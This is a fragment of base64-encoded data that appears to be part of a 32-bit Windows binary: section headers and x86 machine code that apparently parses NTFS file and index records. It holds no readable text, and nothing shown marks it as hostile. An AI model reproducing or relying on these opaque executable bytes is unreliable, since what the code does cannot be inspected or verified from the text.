AAANvaAAAAEAAAANwAAAAEAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAABpcQAAAPAAAAByAAAA4AAAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAANDEAAABwAQAAFAAAAFIBAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAOABAAAAsAEAAAIAAABmAQAAAAAAAAAAAAAAAABAAABALnJlbG9jAABsQQAAAMABAABCAAAAaAEAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL7PZFCAFWi/HHBvT+ABB0CVboEEgAAIPEBIvGXl3CBADMzMzMzMzMzMzMzMzMzFWL7ItFCItVDIkQiUgEXcIIAMzMzMzMzMzMzMzMzMzMVYvsiwGD7AiNVfj/dQhS/1AMi1UMi0gEO0oEdQ6LADsCdQiwAYvlXcIIADLAi+VdwggAzMzMzMzMzMzMzMzMzFWL7ItFCDtIBHUNiwA7RQx1BrABXcIIADLAXcIIAMzMuARDARDDzMzMzMzMzMzMzFWL7FFW/3UMx0X8AAAAAOjkPQAAi3UIg8QEhcC6DEMBEA9F0MdGFA8AAADHRhAAAAAAxgYAgDoAdRQzyVFSi87oiwEAAIvGXovlXcIIAIvKV415AYoBQYTAdfkrz19RUovO6GkBAACLxl6L5V3CCAC4HEMBEMPMzMzMzMzMzMzMVYvsUYtFDFaLdQjHRfwAAAAAg/gBdShqFcdGFA8AAADHRhAAAAAAaChDARCLzsYGAOgaAQAAi8Zei+VdwggAUFboOv///4vGXovlXcIIAMy4QEMBEMPMzMzMzMzMzMzMVYvsUVb/dQzHRfwAAAAA6C49AACLdQiDxASFwLoMQwEQD0XQx0YUDwAAAMdGEAAAAADGBgCAOgB1FDPJUVKLzuirAAAAi8Zei+VdwggAi8pXjXkBigFBhMB1+SvPX1FSi87oiQAAAIvGXovlXcIIAFWL7FaLdQxW6Js8AACDxASFwItFCIkwdAzHQARwggEQXl3CCADHQARsggEQXl3CCADMzMzMzMzMzMzMzMzMzMy4AQAAAMIMAMzMzMzMzMzMVovxg34UEHIK/zbouEUAAIPEBMdGFA8AAADHRhAAAAAAxgYAXsPMzMzMzMzMzMzMVYvsU4tdCFaL8YXbdFeLThSD+RByBIsG6wKLxjvYckWD+RByBIsW6wKL1otGEAPCO8N2MYP5EHIWiwb/dQwr2FNWi87otwAAAF5bXcIIAP91DIvGK9hTVovO6KEAAABeW13CCABXi30Mg//+d36LRhQ7x3MZ/3YQi85X6FACAACF/3Rfg34UEHIqiwbrKIX/dfKJfhCD+BByDosGX8YAAIvGXltdwggAX4vGXsYAAFtdwggAi8aF/3QLV1NQ6I5PAACDxAyDfhQQiX4Qcg+LBsYEOABfi8ZeW13CCACLxsYEOABfi8ZeW13CCABoYEMBEOh3PAAAzMzMzMzMzMzMzFWL7FOLXQhWV4t7EIvxi00MO/kPgukAAAAr+Tl9EA9CfRA783VHjQQPOUYQD4LaAAAAg34UEIlGEHIZixZRagCLzsYEEADo5QAAAF+Lxl5bXcIMAFGL1moAi87GBBAA6MwAAABfi8ZeW13CDACD//4Ph6AAAACLRhQ7x3Mk/3YQi85X6EgBAACLTQyF/3Rqg3sUEHICixuDfhQQciqLFusohf916ol+EIP4EHIOiwZfxgAAi8ZeW13CDABfi8ZexgAAW13CDACL1oX/dA5XjQQLUFLoeE4AAIPEDIN+FBCJfhByD4sGxgQ4AF+Lxl5bXcIMAIvGxgQ4AF+Lxl5bXcIMAGhIQwEQ6I87AABoSEMBEOiFOwAAaGBDARDoTTsAAMzMzMzMzMzMzMzMzMzMzMxVi+xWi/GLTQhXi34QO/lyfotVDIvHK8E7wncjg34UEIlOEHIOiwZfxgQIAIvGXl3CCACLxl/GBAgAXl3CCACF0nREg34UEHIEiwbrAovGK/pTjRwIi8crwXQOUI0EE1BT6Fo7AACDxAyDfhQQiX4QW3IOiwbGBDgAX4vGXl3CCACLxsYEOABfi8ZeXcIIAGhIQwEQ6NI6AADMzMzMzMzMVYvsav9ocOYAEGShAAAAAFCD7AxTVlehwHABEDPFUI1F9GSjAAAAAIll8IvxiXXoi0UIi/iDzw+D//52BIv46yeLXhS4q6qqqvfni8vR6dHqO8p2E7j+////K8GNPBk72HYFv/7///+NTwEzwMdF/AAAAACJReyFyXRGg/n/dxBR6JJCAACDxASJReyFwHUx6Nc5AACLRQiJRexAiWXwUI1NC8ZF/ALopAAAAIlFCLgVFgAQw4tFCIt97It16IlF7ItdDIXbdEiDfhQQcjGLDusvi3Xog34UEHIK/zbo5kEAAIPEBGoAx0YUDwAAAMdGEAAAAABqAMYGAOhcUwAAi86F23QLU1FQ6HNMAACDxAyDfhQQcgr/NuirQQAAg8QEi0XsxgYAiQaJfhSJXhCD/xByAovwxgQeAItN9GSJDQAAAABZX15bi+VdwggAzMzMVYvsi0UIM8mFwHQUg/j/dxVQ6LFBAACLyIPEBIXJdAaLwV3CBADo8TgAAMzMzMzMVYvs9kUIAVaL8ccG+EQBEHQJVugwQQAAg8QEi8ZeXcIEAMzMzMzMzMzMzMzMzMzMxwH4RAEQw8zMzMzMzMzMzFWL7ItVDMcB+EQBEIlRGFaLdQiJcQSLQghmi0AIZolBCItCCItADIlBDItCCItAFIlBEItCCItAIIlBFIlxHMcB5EQBEA+3RhQDxolBIItGEIlBJIvBXl3CCADMzMzMzLgBAAAAw8zMzMzMzMzMzMxVi+yLVQiLQSSF0nQMiQLHQgQAAAAAi0EkM9JdwgQAzFWL7ItVFFNWi3UQi9nHAgAAAACF9nUJjUYBXltdwhAAi0UIi0skV4s4O/lyCV9eM8BbXcIQAI0ENzvBdgYrz4kK6wKJMv8yi0MgA8dQ/3UM6NtKAACDxAy4AQAAAF9eW13CEADMzMzMzMzMzMzMzMxVi+xq/2ij5wAQZKEAAAAAUIPsCFZXocBwARAzxVCNRfRkowAAAACL+Yl98ItVDIt1CMcH+EQBEIl3BIlXGItCCGaLQAhmiUcIi0IIi0AMiUcMi0IIi0AUiUcQi0IIi0AgiUcUx0X8AAAAAMcH0EQBEMdHIBBEARDHRywAAAAAx0coAAAAAMdHMAAAAADHRyQAAAAAxkX8Af93DIl3HOiWNwAAg8QEi8+JRzjocAEAAIlHNIvHi030ZIkNAAAAAFlfXovlXcIIAMzMzMzMzMzMVYvsVleL+f93OMcH0EQBEOgjPwAAg8QEjU8g6GAqAACNTyDHRyAQRAEQ6FEqAAD2RQgBxwf4RAEQdAlX6Pc+AACDxASLx19eXcIEAMzMzMxWV4v5/3c4xwfQRAEQ6NY+AACDxASNTyDoEyoAAI1PIMdHIBBEARDoBCoAAMcH+EQBEF9ew8zMzMzMzMzMzMzMVYvsUYtVCFOLAleKCA+2+YvfQIPjD8HvBIlF/IkCg/sID4+NAAAAg/8ID4+EAAAAVot1DFNQVscGAAAAAMdGBAAAAADoF0kAAIPEDIN+BAB/EnwFgz4AcwteXzPAW4vlXcIMAItN/ItFEIt1CAPLiQ7HAAAAAADHQAQAAAAAhf90JPZEOf+AjRw5dA3HAP/////HQAT/////V1FQ6L9IAACDxAyJHl5fuAEAAABbi+VdwgwAXzPAW4vlXcIMAMzMVYvsg+wsU1aL8Q9XwItGHFcPt1AgA9CJVfCAOgBmDxNF4GYPE0XoD4T3AAAAi0Xki13giUX8i0XsiUX0i0XoiUX4jUXgUI1F2FCNRfBQ6O3+//+FwA+EyQAAAIt94ItF/APfE0XkiV3siUX8D4jGAAAAfwiF2w+CvAAAAGog6LU9AACDxAQLfeSL2HUHg8n/C8HrBotN7ItF/ItV+It99IkLi03YiUMEi0XciVMQA9GJexQT+IlDDIlV+IPC/4lLCIvHg9D/iUMciVMYi0YciX30i1AYK1AQi0gcG0gUOUscd01yBTlTGHdGagjoRz0AAIPEBIXAdB2JWATHAAAAAACLTiyFyXUFiUYo6wKJAf9GJIlGLItF8Itd7IA4AA+FHv///7gBAAAAX15bi+Vdw41OIOj4JwAAX14zwFuL5V3DzMzMzMzMzMzMzMzMzMzMVYvsi1UUg+wMVovxi00Qi8EjwoP4/3Uhi0YMD69FDFBqAP91COgGrwAAg8QMuAEAAABei+VdwhAAUlFqAP92DOibyAAAagCNTfxRUP92FIlF+IlV/P8VBPAAEIlFFIP4/3UK/xUI8AAQhcB1KmoAjUUUUItGDA+vRQxQ/3UI/3YU/xUM8AAQhcB0DItGDA+vRQw5RRR0ljPAXovlXcIQAFWL7IPsDItFHFOLXRBWV4v5xwAAAAAAi0cci/OLSBgrSBCLUBwbUBSDwQGD0gCJTfSLTQgzwAPxiXUQi3UME8aJTfyJdfg7wnIVdwiLRRA7RfR2CzPAX15bi+VdwhgAi0cMD6/DOUUYcuqLVyiJVzCF0g+EqAAAAItSBIXSD4SdAAAAi0UMO0IUcnp3BTtKEHJzi0oci3IYiU0QO8GLTfx3Y3IEO853XSvxGUUQg8YBg1UQADPJO00Qi038cgZ3BjvedwKL8ytKEBtCFAMKE0IEUFFW/3UUi8/ogv7//4XAdD6LRwyLTfwPr8YBRRSLRRwBMItF+APOg9AAiU38iUX4K950G4tXMIXSdBSLEolXMIXSdAuLUgSF0g+FZv///4tNHItHDA+vAV9eiQG4AQAAAFuL5V3CGADMzMzMzMzMi0E0w8zMzMzMzMzMzMzMzFWL7FaLdQiF9nQOi1Eci0IoiQaLQiyJRgSLURxei0Iwi1I0XcIEAMzMzMzMzMzMzFWL7IPk+IPsHItFFFNWV4t9EIvxiXQkHMcAAAAAAIX/D4R6AQAAi1Yci10Ii0o0iwM5SwRyDw+HcgEAADtCMA+HaQEAADPAi88DCxNDBDtCNHIMdwU7SjB2BYt6MCs7agD/dgz/cwT/M+iiuwAAiVwkJIteDCvZi04MiUQkEIlUJBg72XRzjUQkFFCLRCQUUf92OIvOagFSUOji/f//hcAPhAgBAACLTgw5TCQUD4X7AAAAi0QkHDvfi0A4i/cPQvMrw4tdDFYDwVBTiXQkIOhcRAAAi1QkJAPeiV0Mi10UK/4BM4t0JCiDxAyDRCQQAYPSAIlUJBjrA4tdFIX/D4ScAAAAi04MM9KLx/fxiUQkIIXAdFEPr8iNVCQUUlH/dQyJTCQoUP90JCiLzv90JCToS/3//4XAdHWLTCQcOUwkFHVri0QkIAFEJBCLx4NUJBgAM9L3dgyLRCQUAU0MAQOL+oX/dDqNRCQUUP92DIvO/3Y4agH/dCQo/3QkJOj+/P//hcB0KItEJBQ7Rgx1H1f/djj/dQzolUMAAIPEDAE7uAEAAABfXluL5V3CEABfXjPAW4vlXcIQAMzMzMzMzMxVi+yLVQzHAfhEARCJURhWi3UIiXEEi0IIZotACGaJQQiLQgiLQAyJQQyLQgiLQBSJQRCLQgiLQCCJQRTHAeREARCJcRwPt0YUA8aJQSCLRhCJQSSLQSCJQSjHAbxEARCLwV5dwggAzMzMzMzMzMzMVYvsVovxi0YIxwa0RAEQhcB0CVDoLzgAAIPEBPZFCAF0CVboIDgAAIPEBIvGXl3CBADMzMzMzMzMzMzMzMzMzItBCMcBtEQBEIXAdAdQ6PU3AABZw8zMzMzMzMzMzMzMVYvsVovxg34QAHRsi0YIhcB0CVDozzcAAIPEBFeLfQiLRwyJRgyLRQyJRgSDfwgAdD6LRgwzyUC6AgAAAPfiD5DB99kLyFHozS8AAP92DIlGCP93CFDoLDgAAItODItGCIPEEDPSX2aJFEheXcIIAMdGCAAAAABfXl3CCADMzMxVi+yB7AwCAAChwHABEDPFiUX8VovxV4tGCIXAdBdQ6EQ3AACDxATHRggAAAAAx0YMAAAAAItGBIXAdDaKSECEyXQvD7b5gf8EAQAAdgT33+sig8BCV1CNhfT9//9Q6KQ3AACDxAwzwGaJhH30/f//6wIz/4l+DIX/fmEzyY1HAboCAAAA9+IPkMH32QvIUegFLwAAM/+DxASJRgg5fgx+Hw+3hH30/f//UOjiOAAAi04IR2aJRHn+g8QEO34MfOGLTgyLRggz0l9miRRIXotN/DPN6MouAACL5V3Di038X8dGDAAAAADHRggAAAAAM81e6KwuAACL5V3DzMzMzMzMVYvsgewQAgAAocBwARAzxYlF/FOLXQhWi/OJjfD9//+NVgJmiwaDxgJmhcB19Svy0f6B/gQBAAB+F164AQAAAFuLTfwzzehXLgAAi+VdwgQAVzP/hfZ+L42F9P3//yvYjQR7D7eEBfT9//9Q6CA4AABmiYR99P3//0eDxAQ7/nzfi43w/f//A/Zfgf4IAgAAc2CLSQgzwGaJhDX0/f//jYX0/f//ZosQZjsRdS5mhdJ0FWaLUAJmO1ECdR+DwASDwQRmhdJ13l4zwFuLTfwzzejNLQAAi+VdwgQAi038G8BeM82DyAFb6LYtAACL5V3CBADo4TgAAMzMzMzMzMzMzFWL7Gr/aNPnABBkoQAAAABQUVZXocBwARAzxVCNRfRkowAAAACL+Yl98It1CItVDMcH+EQBEIl3BIlXGItCCGaLQAhmiUcIi0IIi0AMiUcMi0IIi0AUiUcQi0IIi0AgiUcUxwfkRAEQiXccD7dGFAPGiUcgi0YQiUckjU8ox0X8AAAAAMcBtEQBEMdBEAAAAADHQQQAAAAAx0EIAAAAAMdBDAAAAADGRfwBi0cgxwegRAEQxwGYRAEQiUEE6D/9//+Lx4tN9GSJDQAAAABZX16L5V3CCADMzMzMzMzMzMzMVYvsVovxxwagRAEQx0YotEQBEItGMIXAdAlQ6Gg0AACDxAT2RQgBxwb4RAEQdAlW6FM0AACDxASLxl5dwgQAzFWL7ItVDMcB+EQBEIlRGFaLdQiJcQSLQghmi0AIZolBCItCCItADIlBDItCCItAFIlBEItCCItAIIlBFMcB5EQBEIlxHA+3RhQDxolBIItGEIlBJItBIIlBKMcBhEQBEIvBXl3CCADMzMzMzMzMzMxVi+xq/2ho5wAQZKEAAAAAUFFWV6HAcAEQM8VQjUX0ZKMAAAAAi/mJffCLdQiLVQzHB/hEARCJdwSJVxiLQghmi0AIZolHCItCCItADIlHDItCCItAFIlHEItCCItAIIlHFMcH5EQBEIl3HA+3RhQDxolHIItGEIlHJNHox0X8AAAAAIlHMDPJQLoCAAAA9+IPkMHHB3BEARD32QvIUehmKwAAiUcoi0cwQFDoWSsAAP93JIlHLP93IP93KOjPPQAAi0coi08wg8QUM9JSUmaJFEiLRzBQ/3csUP93KFJS/xUA8AAQi0cwi08sxgQBAIvHi030ZIkNAAAAAFlfXovlXcIIAMzMzMzMzMzMzMzMzFWL7FaL8f92KMcGcEQBEOi0MgAA/3Ys6KwyAACDxAj2RQgBxwb4RAEQdAlW6JcyAACDxASLxl5dwgQAzMzMzMxVi+xq/2go6AAQZKEAAAAAUFFWocBwARAzxVCNRfRkowAAAACL8Yl18MdGEAAAAADHRggAAAAAx0YMAAAAAMdF/AAAAADHBmhEARDHRhQBAAAAx0YYAAAAAMdGBAAAAADou/r//4vGi030ZIkNAAAAAFlei+Vdw8zMzMzMzMzMzFWL7Gr/aCjoABBkoQAAAABQUVahwHABEDPFUI1F9GSjAAAAAIvxiXXwx0YQAAAAAMdGBAAAAADHRggAAAAAx0YMAAAAAItFCMdF/AAAAADHBmhEARDHRhQAAAAAiUYYZoN4CgB0C4PAEIlGBOgv+v//i8aLTfRkiQ0AAAAAWV6L5V3CBADMzMzMzMzMzMzMzFWL7FOL2YN7FAB0U4tDGMdDEAEAAACFwHQQUOhYMQAAg8QEx0MYAAAAAFZXi30Ii3cYD7dGCFDobSkAAIlDGA+3TghRVlDo5TsAAItDGIPEEIPAEFBXi8voM/n//19ei8NbXcIEAMzMzMzMzMzMzMxVi+xWi/GDfhAAxwZoRAEQdBCLRhiFwHQJUOjpMAAAg8QEi0YIxwa0RAEQhcB0CVDo0zAAAIPEBPZFCAF0CVboxDAAAIPEBIvGXl3CBADMzFaL8YtGFMcGYEQBEIXAdAlQ6KIwAACDxATHBghEARCLzl7paRsAAMzMzMzMzMzMzFWL7FaL8YtGFMcGYEQBEIXAdAlQ6G8wAACDxASLzscGCEQBEOg3GwAA9kUIAXQJVuhTMAAAg8QEi8ZeXcIEAMxVi+xq/2gD6AAQZKEAAAAAUFFWV6HAcAEQM8VQjUX0ZKMAAAAAi/mJffCLdQiLVQzHB/hEARCJdwSJVxiLQghmi0AIZolHCItCCItADIlHDItCCItAFIlHEItCCItAIIlHFMcH5EQBEIl3HA+3RhQDxolHIItGEIlHJMdF/AAAAADHRygIRAEQx0c0AAAAAMdHMAAAAADHRzgAAAAAx0csAAAAAMZF/AGLRyDHB0xEARDHRyhERAEQiUc8gzgwdQXomwAAAIvHi030ZIkNAAAAAFlfXovlXcIIAMzMzMzMzFWL7Gr/aOjoABBkoQAAAABQUVahwHABEDPFUI1F9GSjAAAAAIvxiXXwjU4oxwZMRAEQxwFERAEQx0X8AAAAAMcBCEQBEOj2GQAA9kUIAccG+EQBEHQJVugMLwAAg8QEi8aLTfRkiQ0AAAAAWV6L5V3CBADMzMzMzMzMzMzMzMzMVYvsav9oI+oAEGShAAAAAFCD7AhTVlehwHABEDPFUI1F9GSjAAAAAIvZi1M8jXoQA3oQD7dHCIlF8DtCFA+HuAAAAGoc6O4uAACL8IPEBIl17MdF/AAAAACF9nRGx0YQAAAAAMdGBAAAAADHRggAAAAAx0YMAAAAAMZF/AHHBmhEARDHRhQAAAAAiX4YZoN/CgB0EY1HEIvOiUYE6N/2///rAjP2agjHRfz/////6IUuAACDxASFwHQdiXAExwAAAAAAi0s0hcl1BYlDMOsCiQH/QyyJQzT2RwwCdR4Pt0cIi03wA/gPt0cIA8iLQzyJTfA7SBQPhkj///+LTfRkiQ0AAAAAWV9eW4vlXcPMzMxVi+xTVv91DIvx/3UI6L7t//+DfjQAxwYwRAEQx0ZAAAAAAMdGRAAAAAB0HYtGHGoA/3YQ/3A0/3Aw6DGvAAALy3UGiUZAiVZEi8ZeW13CCADMzMzMzMzMzMzMzMzMzMxVi+xTVot1DDPSV4v5hfZ+JotdFItFCA+3TwjR6Y0ESGaLTRBmOUj+dRlmiwxTQmaJSP471nzgX164AQAAAFtdwhAAX14zwFtdwhAAzMzMzFWL7Gr/aOvpABBkoQAAAABQg+wUU1ZXocBwARAzxVCNRfRkowAAAACL8Yl18ItNCItBBDtGRHIRD4drAQAAiwE7RkAPg2ABAACLfQyLXhCDfwQAfgeLz+ikFwAAi0cUhcB0CVDovywAAIPEBFPo5yQAAIvYi0XwiV8UD7dICIt2EDPSi8b38YPEBIldDIlF6ItFCP9wBP8wagBW6NC4AACNTexRVot18IlF4ItF8FOLAI1N4FGLzolV5P9QDIXAD4TkAAAAi0XsO0YQD4XYAAAAgTtJTkRYD4XMAAAAD7dDBA+3DBgDw4PAAlBR/3Xoi85T6Ln+//+FwA+EqgAAAItFDI1zGANzGA+3Xgg7WBwPh3sAAABqHOhcLAAAg8QEiUUIx0X8AAAAAIXAdA1Wi8jo6/n//4lFCOsHx0UIAAAAAGoIx0X8/////+gpLAAAg8QEhcB0IItNCIlIBMcAAAAAAItPDIXJdQWJRwjrAokB/0cEiUcM9kYMAnUUD7dGCAPwD7dGCAPYi0UMO1gcdoW4AQAAAItN9GSJDQAAAABZX15bi+VdwggAM8CLTfRkiQ0AAAAAWV9eW4vlXcIIAMxVi+xWaPBCABBowEIAEIvxahBqFI1GXFDHBihEARDojy8AAItFCIlGCMdGDAAAAADHRhD/////x0YU/////w9XwGYP1kYYZg/WRiBmD9ZGKGYP1kYwZg/WRjhmD9ZGQGYP1kZIZg/WRlDHRlj/////i8ZeXcIEAMzMzMzMzMzMzFWL7Gr/aCbpABBkoQAAAABQUVahwHABEDPFUI1F9GSjAAAAAIvxiXXwxwYoRAEQx0X8AAAAAOjVAAAAi0YMhcB0CVDooCoAAIPEBGjwQgAQahBqFI1GXFDHRfz/////6DYvAAD2RQgBdAlW6HgqAACDxASLxotN9GSJDQAAAABZXovlXcIEAMzMzMzMzMzMzFWL7Gr/aCbpABBkoQAAAABQUVahwHABEDPFUI1F9GSjAAAAAIvxiXXwxwYoRAEQx0X8AAAAAOhFAAAAi0YMhcB0CVDoECoAAIPEBGjwQgAQahBqFI1GXFDHRfz/////6KYuAACLTfRkiQ0AAAAAWV6L5V3DzMzMzMzMzMzMzMzMVleNcWS/EAAAAI2bAAAAAIM+AHQniw6LAYlGCItJBIXJdAaLAWoB/xD/NuioKQAAi0YIg8QEiQaFwHXZx0YEAAAAAMcGAAAAAMdGCAAAAADHRvwAAAAAg8YUT3WzX17DVYvsU1aLdQwz0leL2YX2fimLfRSLRQiLSwgPt0kI0emNBEhmi00QZjlI/nUZZosMV0JmiUj+O9Z83V9euAEAAABbXcIQAF9eM8BbXcIQAMxVi+xq/2i+6QAQZKEAAAAAUFFTVlehwHABEDPFUI1F9GSjAAAAAIv5i3UIiwaDwPA9oAAAAA+HzAIAAA+2gLQyABD/JIWMMgAQaizoKCkAAIPEBIXAD4QbAwAAV1aLyOgM8P//i030ZIkNAAAAAFlfXluL5V3CCACAfggAdDlqUOjzKAAAg8QEiUUIx0X8AAAAAIXAD4TcAgAAV1aLyOjtFQAAi030ZIkNAAAAAFlfXluL5V3CCABqPOi6KAAAg8QEiUUIx0X8AQAAAIXAD4SjAgAAV1aLyOhEGAAAi030ZIkNAAAAAFlfXluL5V3CCABqPOiBKAAAg8QEiUUIx0X8AgAAAIXAD4RqAgAAV1aLyOir8v//i030ZIkNAAAAAFlfXluL5V3CCABqNOhIKAAAg8QEiUUIx0X8AwAAAIXAD4QxAgAAV1aLyOgC9P//i030ZIkNAAAAAFlfXluL5V3CCABqLOgPKAAAg8QEhcAPhAICAABXVovI6GPz//+LTfRkiQ0AAAAAWV9eW4vlXcIIAIB+CAB0V2o86NonAACL2IPEBIldCMdF/AQAAACF23QlV1aLy+hm5///xwPsQwEQi8OLTfRkiQ0AAAAAWV9eW4vlXcIIADPbi8OLTfRkiQ0AAAAAWV9eW4vlXcIIAGoo6IMnAACDxASFwA+EdgEAAFdWi8jo5xIAAItN9GSJDQAAAABZX15bi+VdwggAakDoVCcAAIPEBIlFCMdF/AUAAACFwA+EPQEAAFdWi8jonvb//4tN9GSJDQAAAABZX15bi+VdwggAakjoGycAAIPEBIlFCMdF/AYAAACFwA+EBAEAAFdWi8jo1fj//4tN9GSJDQAAAABZX15bi+VdwggAgH4IAHQ5aljo3CYAAIPEBIlFCMdF/AcAAACFwA+ExQAAAFdWi8joJhkAAItN9GSJDQAAAABZX15bi+VdwggAakDooyYAAIPEBIlFCMdF/AgAAACFwA+EjAAAAFdWi8jo7RkAAItN9GSJDQAAAABZX15bi+VdwggAgH4IAItFDMcAAQAAAHQ1ajzoWyYAAIPEBIlFCMdF/AkAAACFwHRIV1aLyOjp5f//i030ZIkNAAAAAFlfXluL5V3CCABqKOgmJgAAg8QEhcB0HVdWi8jovuT//4tN9GSJDQAAAABZX15bi+VdwggAM8CLTfRkiQ0AAAAAWV9eW4vlXcIIAEkvABB4LwAQ8C8AECkwABBiMAAQkTAAEB0xABBWMQAQjzEAEAcyABAACQkJCQkJCQkJCQkJCQkJAQkJCQkJCQkJCQkJCQkJCQIJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQMJCQkJCQkJCQkJCQkJCQkECQkJCQkJCQkJCQkJCQkJBQkJCQkJCQkJCQkJCQkJCQYJCQkJCQkJCQkJCQkJCQkHCQkJCQkJCQkJCQkJCQkJCMzMzMzMzMzMzMzMVYvsi0UIg+wQU1ZXi/mLCItABIXAdQWD+RBybYt3CIN+cAB0ZFBRagD/dhDo37AAAIlF9IlV+P92EOi6HAAAi1cIg8QEi0pwi9iLMY1FCFD/chCNRfRTUP9WDIXAdBaLTwiLRQg7QRB1C4vDX15bi+VdwgQAU+hNJAAAg8QEM8BfXluL5V3CBACLdwhQUWoA/3YQ6HiwAAADRhhqABNWHI1N+FFQiUX0iVX4/3Yg/xUE8AAQiUX0g/j/dQr/FQjwABCFwHVJi0cI/3AQ6CgcAACLTwiDxASL8GoAjUUIUP9xEFb/cSD/FQzwABCFwHQWi08Ii0UIO0EQdQuLxl9eW4vlXcIEAFbovCMAAIPEBF9eM8Bbi+VdwgQAzMzMzMzMVYvsVleL8ejE+f//i0YMhcB0EFDojyMAAIPEBMdGDAAAAACNRQhQi87osv7//4v4hf91FMdGEP/////HRhT/////X15dwggAi0UIiUYQi0UMiUYUgT9GSUxFdTgPt08ED7cUOYtGCAPPg8ECUQ+3SAiLQBBSM9L38YvOUFforvn//4XAdA6Jfgy4AQAAAF9eXcIIAFfoDiMAAIPEBDPAX15dwggAzMzMzMzMzMzMzMxVi+xq/2hL6gAQZKEAAAAAUIHsSAIAAKHAcAEQM8WJRexTVldQjUX0ZKMAAAAAi9GJldz9//+LTRCLRQiLXQyJjeD9//+LihgBAACJiiABAACFyXQFi0kE6wIzyYXJdQczwOl7AQAAx4XQ/f//AAAAAMeFzP3//wAAAADHhdT9//8AAAAAx4XI/f//AAAAAMeFxP3//2BEARDHhdj9//8AAAAAjZXE/f//UlDHRfwAAAAA6Bn1//+FwA+E8AAAAIu9zP3//4m91P3//4X/D4TcAAAAi3cEhfYPhNEAAACL/4N+DAB+bWgEAQAAjYXk/f//UGr/U2oAagD/FRDwABCFwA+EkQAAAI2F5P3//1CLzuh76///hcAPhOMAAAB5eYtWGIXSD4SFAAAAD7ZCDIPgAXR8D7dKCItEEfiJhbz9//+LRBH8iYXA/f//jYW8/f//6y6LVhiF0nQ+D7ZCDIPgAXQ1D7dKCItEEfiJhbT9//+LRBH8iYW4/f//jYW0/f///7Xg/f//i43c/f//U1DobP7//4XAdXSLP4m91P3//4X/dAuLdwSF9g+FMf///zP2x0X8/////4uF2P3//4XAdAlQ6DAhAACDxASNjcT9///HhcT9//8IRAEQ6PALAACLxotN9GSJDQAAAABZX15bi03sM83oOBkAAIvlXcIMAIuN4P3//1bodO///74BAAAA657MzMzMzMzMzMzMzMzMVYvsg+T4g+wMU1ZXi/no7fb//4tHDA+3WBSLDAONNAOJXCQQg/n/D4QHAQAAjUkAi0YEi1cIA8M7QhAPh/MAAADB6QS4AQAAAI1Z/4vL0+CFR1gPhMIAAACD+xAPg94AAACLRJ8Yx0QkDAAAAACFwHUIi0SaKIXAdBKNTCQMUVb/0IPECIN8JAwAdVaNRCQUUFaLz8dEJBwAAAAA6A/3//+JRCQUhcAPhJMAAACNBJtqCI0ch+huIAAAg8QEhcB0IYtMJBSJSATHAAAAAACLS2iFyXUFiUNk6wKJAf9DYIlDaItPZIlPbIXJdBSLQQSFwHQNi0Aoi0AgJQBAAAB1QIlPbIXJdBSLQQSFwHQNi0Aoi0AgJQAIAAB1JYtcJBADXgQDdgSJXCQQiw6D+f8Phfz+//+4AQAAAF9eW4vlXcNfXjPAW4vlXcPMzMzMzMzMVYvsgewsAgAAocBwARAzxYlF/FOLXQiLwYtNDFZXi7gEAQAAiYXo/f//iY3s/f//ibgMAQAAhf90BYt/BOsCM/+F/w+E/gAAAItHPIM4MA+F8gAAAIt3MIl3OIX2D4TkAAAAi3YEhfYPhNkAAACL/4N+DAB+cWgEAQAAjYXw/f//UGr/U2oAagD/FRDwABCFwA+ElQAAAI2F8P3//1CLzuh76P//hcAPhK8AAAB5fYtWGIXSD4SNAAAAD7ZCDIPgAQ+EgAAAAA+3SgiLRBH4iYXg/f//i0QR/ImF5P3//42F4P3//+sui1YYhdJ0Pg+2QgyD4AF0NQ+3SgiLRBH4iYXY/f//i0QR/ImF3P3//42F2P3///+17P3//4uN6P3//1NQ6Gj7//+FwHU8i3c4hfZ0FIs2iXc4hfZ0C4t2BIX2D4Up////M8BfXluLTfwzzehsFgAAi+VdwggAi43s/f//Vuio7P//i038X14zzbgBAAAAW+hIFgAAi+VdwggAVYvsi9GLgvAAAACJgvgAAACFwHQFi0AE6wIzwIXAdCqLSASAeQkAdCGLgvgAAACFwHQRiwCJgvgAAACFwHQFi0AE6wIzwIXAddZdwgQAzMyLQWSJQWyFwHQTi0AEhcB0DItAKItAICUACAAAwzPAw4tBZIlBbIXAdBOLQASFwHQMi0Aoi0AgJQBAAADDM8DDVYvsav9of+gAEGShAAAAAFCB7LABAAChwHABEDPFiUXsVlCNRfRkowAAAACL8f91CA9XwMcGIEQBEMdGIP/////HRiQAAAAAx0ZsAAAAAMdGcAAAAAAzwGaJRmhmD9ZGKGYP1kYwZg/WRjhmD9ZGQGYP1kZIZg/WRlBmD9ZGWGYP1kZg6NcBAACFwA+EaQEAAFaNjUz+///oc/H//2oAx0X8AAAAAGoDjY1M/v//x4Wk/v//YwAAAOgT+f//hcB1UMeFTP7//yhEARCNjUz+///HRfwBAAAA6MPy//+LhVj+//+FwHQJUOiLHAAAg8QEaPBCABBqEGoUjYWo/v//UMdF/P/////oHiEAAOnpAAAAjY1M/v//6IT7//+LhSj///+JhTD///+FwHQFi0AE6wIzwIXAD4StAAAAi0AoD7ZICA+2QAlmweEIZgvIuAADAABmiU5oZjvID4KJAAAAaKABAADHRiQBAAAA6FgcAACDxASJhUj+///GRfwChcB0ClaLyOiH8P//6wIzwMZF/ACJRmxqAMdAWIMAAACLTmxqAOgp+P//hcB0PYtObOjt+v//i0Zsi4jwAA